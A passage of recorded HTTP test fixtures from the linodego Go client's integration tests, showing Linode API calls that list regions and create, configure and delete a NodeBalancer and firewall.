"172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228213}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441124, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-36.ip.linodeusercontent.com", "ipv4": "172.232.86.36", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124/configs method: POST response: body: '{"id": 670342, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441124, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228213 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListMultiplePagesInstance.yaml000066400000000000000000000616361455402072200367160ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 